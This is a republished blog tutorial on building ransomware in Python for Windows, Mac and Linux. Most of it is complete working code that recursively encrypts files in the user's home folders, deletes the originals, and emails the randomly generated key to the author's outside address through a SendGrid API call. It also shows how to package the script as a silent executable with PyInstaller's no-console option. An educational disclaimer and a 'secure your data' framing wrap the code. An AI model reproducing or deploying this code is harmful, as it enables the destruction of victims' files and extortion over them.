This content originally appeared on DEV Community 👩‍💻👨‍💻 and was authored by paulsaul621
Disclaimer:
Please note that this script is provided for educational and demonstration purposes only. It is the user's responsibility to ensure that they have the necessary permissions to encrypt the files on their computer, and to use the Sendgrid API in accordance with the terms of service. Additionally, it is the user's responsibility to ensure that the encryption key is kept secure and not shared with unauthorized parties. I shall not be held responsible for any damages or consequences resulting from the use of this script.
Demo and Code.
Here is a video demo:
And here is the code for the project:
github ransomware code
Introduction.
Encryption is a powerful weapon in the fight for data security. And with the help of Python, we can easily automate the process of encrypting and decrypting files on our computer. Malicious software and computer viruses can encrypt your data and hold it ransom, but with this tutorial, we'll arm you with the knowledge to take control of your own encryption. By using symmetric encryption, you'll be able to secure your data and keep it out of the hands of those who would use it for 'nefarious' purposes:)
In this tutorial, we'll take you step-by-step through the process of creating Python scripts that encrypt and decrypt files in specific folders(OR ALL OF THEM), and sending the encryption key via email. We'll also show you how to use Pyinstaller to convert the scripts into executables for Windows, Linux, and Mac users. With this knowledge, you'll be able to safeguard your data and keep it secure from prying eyes. So, grab your computer and let's get started on securing your data!
Step 1: Import the necessary libraries
For the encryption_script.py, we'll need to import several libraries. The os and shutil libraries will be used to navigate the file system and move files, while pyAesCrypt will be used for encryption. The secrets library will be used to generate a random key for encryption, the requests library will be used to send the key via email and the tkinter library will be used to create a simple GUI for displaying the encryption key. Here's the code to import the necessary libraries:
import os
import shutil
import pyAesCrypt
import secrets
import tkinter as tk
from tkinter import messagebox
from pathlib import Path
import requests
Step 2: Define the folders to be searched
Next, we'll define the folders that we want to search for files to encrypt or decrypt. In this example, we're using the Downloads and Documents Folders, but you can modify the script to search any folders you like. Here's the code to define the folders for the encryption script:
#for linux and mac
folders_path = [
str(os.path.join(Path.home(), "Downloads")),
str(os.path.join(Path.home(), "Documents"))
]
#uncomment for windows
#folders_path = [
# str(os.path.join(Path.home(), "Downloads")),
# str(os.path.join(Path.home(), "Documents"))
#]
To encrypt all folders for windows users, we start the loop like below with the folders_path being left empty.
PLEASE FOLLOW THE TUTORIAL WITH ONE THE FOLDERS SPECIFIED OR SPECIFY YOURS TO AVOID MESSING UP, DON'T PASTE THE CODE BELOW FIRST!!!
import os
folders_path = []
for root, dirs, files in os.walk(os.path.expanduser("~")):
for dir in dirs:
folders_path.append(os.path.join(root, dir))
For Linux and Mac users:
import os
folders_path = []
for root, dirs, files in os.walk(os.path.expanduser("~")):
for dir in dirs:
folders_path.append(os.path.join(root, dir))
This will create a list called folders_path that contains the path of all folders in the user directory. You can then use this list in the encryption script to encrypt all the files in those folders.
Please note that this script will not encrypt hidden folders, if you want to encrypt hidden folders too, you should use:
os.path.expanduser("~/") instead of os.path.expanduser("~").
Step 3: Generate the encryption key
We'll use the secrets library to generate a random key for encryption. This key will be used to encrypt and decrypt the files. Here's the code to generate the key:
key = secrets.token_hex(16)
Step 4: Send the encryption key via email
We'll use the Sendgrid API to send the encryption key via email. To use the API, you'll need to sign up for an API key, from RapidAPI. Once you have your API key, you can use it to send an email with the encryption key as the message.
url = "https://rapidprod-sendgrid-v1.p.rapidapi.com/mail/send"
payload = {
"personalizations": [
{
"to": [{"email": "paulkiragu621@gmail.com"}],
"subject": "Decryption Key for "+str(os.getlogin())
}
],
"from": {"email": "paulsaul621@gmail.com"},
"content": [
{
"type": "text/plain",
"value": str(key)
}
]
}
headers = {
"content-type": "application/json",
"X-RapidAPI-Key": "GET YOUR OWN",
"X-RapidAPI-Host": "rapidprod-sendgrid-v1.p.rapidapi.com"
}
response = requests.request("POST", url, json=payload, headers=headers)
Step 5: Encrypt the files
We'll use the pyAesCrypt library to encrypt the files in the specified folders. The script will encrypt every file in the folders, and then move the encrypted files to a new location, with a new file name.
To encrypt all folder, modify the code I gave you earlier accordingly.
# Encrypt every file in the folders
for folder_path in folders_path:
for file in os.listdir(folder_path):
bufferSize = 64*1024
# Get the path for the current file
file_path = os.path.join(folder_path, file)
if not file.endswith(".aes"):
# Encrypt the file
pyAesCrypt.encryptFile(file_path, file_path+".aes", key, bufferSize)
# Move the encrypted file
destination_path = os.path.join(folder_path,"encrypted_"+file+".aes")
shutil.move(file_path+".aes", destination_path)
# Delete the original file
os.remove(file_path)
If you decided to encrypt all folders, you can ideally exclude the decryption folder like so:
for folder_path in folders_path:
for file in os.listdir(folder_path):
bufferSize = 64*1024
# Get the path for the current file
file_path = os.path.join(folder_path, file)
if not file.endswith(".aes") and not file.endswith("decrypt.exe"):
# Encrypt the file
pyAesCrypt.encryptFile(file_path, file_path+".aes", key, bufferSize)
# Move the encrypted file
destination_path = os.path.join(folder_path,"encrypted_"+file+".aes")
shutil.move(file_path+".aes", destination_path)
# Delete the original file
os.remove(file_path)
Step 6: Display the 'PAWNED' window.
We'll use tkinter to display a text informing the user that their system has been encrypted using AES.
root = tk.Tk()
root.withdraw()
root.geometry("{}x{}".format(root.winfo_screenwidth(), root.winfo_screenheight()))
messagebox.showinfo("Encryption Complete", "All files in the folders have been encrypted. ")
root.mainloop()
Step 7: Decryption Script
For the description script, its the same as the encryption one, so just paste the code below:
import os
import shutil # for moving files
import pyAesCrypt # for decryption
from pathlib import Path
import tkinter as tk
from tkinter import messagebox
import tkinter.simpledialog
folders_path = [
str(os.path.join(Path.home(), "Downloads")),
str(os.path.join(Path.home(), "Documents"))
]
# Get the key
root = tk.Tk()
root.withdraw()
key = tkinter.simpledialog.askstring("Decryption Key", "Enter the decryption key:", parent=root)
# Decrypt every file in each folder
for folder_path in folders_path:
for file in os.listdir(folder_path):
bufferSize = 64*1024
# Get the path for the current file
file_path = os.path.join(folder_path, file)
if file.endswith(".aes"):
# Decrypt the file
pyAesCrypt.decryptFile(file_path, file_path[:-4], key, bufferSize)
# Move the decrypted file
destination_path = os.path.join(folder_path,"decrypted_"+file[:-4])
shutil.move(file_path[:-4], destination_path)
# Delete the encrypted file
os.remove(file_path)
# Use tkinter to display a message that the decryption is complete
messagebox.showinfo("Decryption Complete", "All files in the folders have been decrypted.")
root.mainloop()
Step 8: Final Encryption Script.
The final code for the encryption script can be found below:
import os
import shutil # for moving files
import pyAesCrypt # for encryption
import secrets
import tkinter as tk
from tkinter import messagebox
from pathlib import Path
import requests
# Get the path for the folders containing the files to be encrypted:
folders_path = [
str(os.path.join(Path.home(), "Downloads")),
str(os.path.join(Path.home(), "Documents"))
]
# Generate a key
key = secrets.token_hex(16)
url = "https://rapidprod-sendgrid-v1.p.rapidapi.com/mail/send"
payload = {
"personalizations": [
{
"to": [{"email": "paulkiragu621@gmail.com"}],
"subject": "Decryption Key for "+str(os.getlogin())
}
],
"from": {"email": "paulsaul621@gmail.com"},
"content": [
{
"type": "text/plain",
"value": str(key)
}
]
}
headers = {
"content-type": "application/json",
"X-RapidAPI-Key": "GET YOUR API KEY FROM RAPIDAPI",
"X-RapidAPI-Host": "rapidprod-sendgrid-v1.p.rapidapi.com"
}
response = requests.request("POST", url, json=payload, headers=headers)
print(response.text)
# Encrypt every file in the folders
for folder_path in folders_path:
for file in os.listdir(folder_path):
bufferSize = 64*1024
# Get the path for the current file
file_path = os.path.join(folder_path, file)
if not file.endswith(".aes"):
# Encrypt the file
pyAesCrypt.encryptFile(file_path, file_path+".aes", key, bufferSize)
# Move the encrypted file
destination_path = os.path.join(folder_path,"encrypted_"+file+".aes")
shutil.move(file_path+".aes", destination_path)
# Delete the original file
os.remove(file_path)
# Use tkinter to display the key used for encryption
root = tk.Tk()
root.withdraw()
root.geometry("{}x{}".format(root.winfo_screenwidth(), root.winfo_screenheight()))
messagebox.showinfo("Encryption Complete", "All files in the folders have been encrypted. ")
root.mainloop()
Step 9: Use Pyinstaller for Windows users
For Windows users, you can use Pyinstaller to convert the encryption script into an executable file. This will allow the script to run without the need for Python to be installed on the computer. To convert the script, open the command prompt and navigate to the location of the script. Then, run the command:
pyinstaller --onefile encrypt.py
Use no-console option on Pyinstaller
You can use the no-console option on Pyinstaller to prevent the console window from appearing when the script runs. This can be done by adding the option --noconsole
or -w
to the command used in step 7.
Step 10: Use the script on Linux and Mac
For Linux and Mac users, the script can be run as is as long as Python is installed on the computer, or you can convert it to executable to.
Conclusion
Securing your data has never been more fun! With this script, you'll be able to encrypt files on your computer with ease, and keep them safe from prying eyes. The encryption key is sent via email for safekeeping, so you can rest easy knowing that you're the only one who has access to your data. But remember, with great power comes great responsibility, use this script with caution and always have a backup of your files.
This content originally appeared on DEV Community 👩‍💻👨‍💻 and was authored by paulsaul621
paulsaul621 | Sciencx (2023-01-22T01:59:03+00:00) How to Make Ransomware with Python (Windows, Mac and Linux).. Retrieved from https://www.scien.cx/2023/01/22/how-to-make-ransomware-with-python-windows-mac-and-linux/
Please log in to upload a file.
There are no updates yet.
Click the Upload button above to add an update.